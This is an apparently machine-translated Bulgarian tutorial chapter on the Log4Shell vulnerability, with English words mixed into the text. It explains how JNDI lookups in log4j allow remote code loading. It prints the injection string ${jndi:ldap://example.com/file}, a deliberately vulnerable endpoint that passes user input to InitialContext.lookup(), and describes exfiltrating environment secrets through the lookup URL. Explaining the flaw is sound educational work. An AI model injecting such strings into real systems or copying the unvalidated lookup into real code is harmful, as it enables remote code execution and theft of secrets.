7.1 Скандал
И разбира се, не е възможно да не разкажем за историята, която се случи съвсем наскоро - в края на 2021 г.
Американската агенция за киберсигурност и защита на инфраструктурата (CISA) заяви, че проблемът Log4Shellе една от най-сериозните уязвимости в историята. Да, говорим за любимата ни библиотека log4j.
Нашата уютна малка библиотека log4j и най-голямата уязвимост в историята ? Заинтригуван? Тогава слушай.
7.2 Мащаб на бедствието
Откриването на критична уязвимост Log4Shell(code CVE-2021-44228) беше обявено на 9 декември 2021 г. от експерти по сигурността на Lunasec. Експерти от Java общността на Apache Security Team провериха тази информация и публикуваха списък с уязвими Java библиотеки. Списъкът беше просто огромен.
Ако Java проект използва библиотека log4j, тогава той може да бъде хакнат доста лесно. И като се има предвид, че почти целият сървърен софтуер е написан в Javaнай log4j-популярния java logger, според експерти по сигурността, уязвимостта е засегнала 93% от корпоративните облачни среди. Включително подобни на Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam и много други
Освен това уязвимостта засяга не само сървърния софтуер, но и много Java applications, Howто и производителите на хардуер. Например, Intel публикува списък с 32 хакнати програми: SDK, системи за поддръжка на сървъри, Linux инструменти.
Nvidia също публикува доклад за проблем със сигурността, в който се споменават DGX сървъри и NetQ инструменти. Редица актуализации бяха спешно пуснати от Apple и Microsoft.
Грубо казано, един ред в addressната лента на браузъра на ученик поставя сървъра, ако този ред е изяден от регистратора (на много сървъри всичко се регистрира HTTP-requests).
След анализ на codeа се оказа, че уязвимостта е била в библиотеката от 2013 г., но те са забелязали едва сега. И когато започнали да копаят по-дълбоко, открor пропаст, чието дъно изобщо не се виждало.
7.3 Най-сериозната уязвимост в историята
Още през декември 2021 г. Агенцията за киберсигурност и защита на инфраструктурата на САЩ (CISA) заяви , че Log4Shellтова е една от най-сериозните уязвимости в историята .
Много други експерти изразяват подобно мнение . Всеки знае за тази уязвимост и хакери от всички възрасти вече я използват за кражба на лични данни и други видове атаки срещу различни организации. В бъдеще ни очаква вълна от масивни хакове и изтичане на данни.
Мащабът на бедствието може да се прецени дори от факта, че има отделен сайт с мемета за Log4j и всеки ден има нови снимки.
Този проблем е с нас от много време. Дупка в сигурността на мorони, ако не и стотици мorони компютърни системи. Целият стар софтуер трябва да се актуализира и поне да се замени тази библиотека там. Но в повечето случаи никой дори не знае кои библиотеки и кои версии се използват в техния софтуер.
Като цяло очакваме рязко увеличение на заплатите на специалистите по компютърна сигурност.
7.4 Естество на уязвимостта
За да разберете същността на уязвимостта, трябва да разберете How са подредени големите сървърни системи. Често такива сървърни applications са разбити на различни услуги, които се намират на различни сървъри. И услугата JNDI им помага да си взаимодействат.
Java Naming and Directory Interface (JNDI) е Java APIза търсене на обекти/услуги по име. Тези обекти могат да се съхраняват в различни услуги за именуване or директории като Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) or Domain Name Service (DNS).
Работата с него е много проста - той е прост Java API, който приема само един низов параметър - името на услугата. С него можете да се свържете с всяка услуга и да го помолите да направи нещо и / or да изпрати някои данни. Например, string ${jndi:ldap://example.com/file}ще зареди данни от това, URLпосочено в низа.
Ако параметърът идва от ненадежден източник, това може да доведе до дистанционно зареждане на клас и изпълнение на code на трета страна . Какво се случва в случай на Log4j. Нападателят просто насочва Java приложението на жертвата към злонамереното rmi/ldap/corba-serverи получава в отговор злонамерен обект.
Технически проблемът тук не е в log4jсамата библиотека, а в настройките за сигурност при работа с JNDI-service. Винаги трябва да проверявате към Howъв низ предаваме InitialContext.lookup().
Уязвим пример JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}7.5 Твърде умна библиотека
И къде log4jпиташ? Работата е там, че разработчиците му искаха да направят работата с него възможно най-удобна и добавиха интелигентно регистриране към него. Ето How работи:
Всичко започна с факта, че регистрационните съобщения ви позволиха да зададете шаблон, където данните бяха заменени, например:
log.debug(“User {user} has {count} friends”, user, count);
Старата version без заместване на данни изглеждаше така:
log.debug( “User “+user +” has “+ count +” friends”);
През 2013 г. заместването на интелигентни префикси, определени от шаблона за изглед, също беше добавено към библиотеката ${prefix:name}. Например, низът “${java:version}”ще бъде преобразуван в «Java version 1.7.0_67». О, колко удобно.
Сред разпознатите изрази са ${jndi:<lookup>}къде след протокола jndi можете да зададете търсене чрез LDAP: произволни URL-addressмогат да бъдат запитвани и заредени като обектни данни Java.
Това е standardн проблем на целия подход JDK: той автоматично десериализира обект, връзката към който може да бъде зададена под формата на url. В този случай от отдалечения ресурс се зареждат не само данните на обекта, но и codeът на неговия клас.
Хакът изглежда така:
- Изтегляне на файл със зловреден code
- Файлът съдържа сериализирани
Java an object(и неговия клас) - Класът се зарежда
Java-machine - Създава се обект от злонамерен клас
- Извиква се конструкторът на обекта
- Както конструкторът, така и статичната инициализация позволяват изпълнението на code на зловреден клас
log4jАко има нещо подобно в реда, който се регистрира ${jndi:ldap://example.com/file}, то log4jще изтегли данни от това, URL-addressкогато се свързва с интернет . Чрез въвеждане на низ, който се регистрира, нападателят може да изтегли и изпълни злонамерен code, хостван на публичен URL-address.
Дори ако изпълнението на данни е деактивирано, атакуващият може да получи данни, като например секретни променливи на средата, като ги постави в URL-address, който ще ги замени и изпрати до сървъра на атакуващия.
Добрата новина е, че проблемът беше бързо отстранен в библиотеката .
Лошата новина е, че мorони сървъри по света все още работят със старата version на тази библиотека ...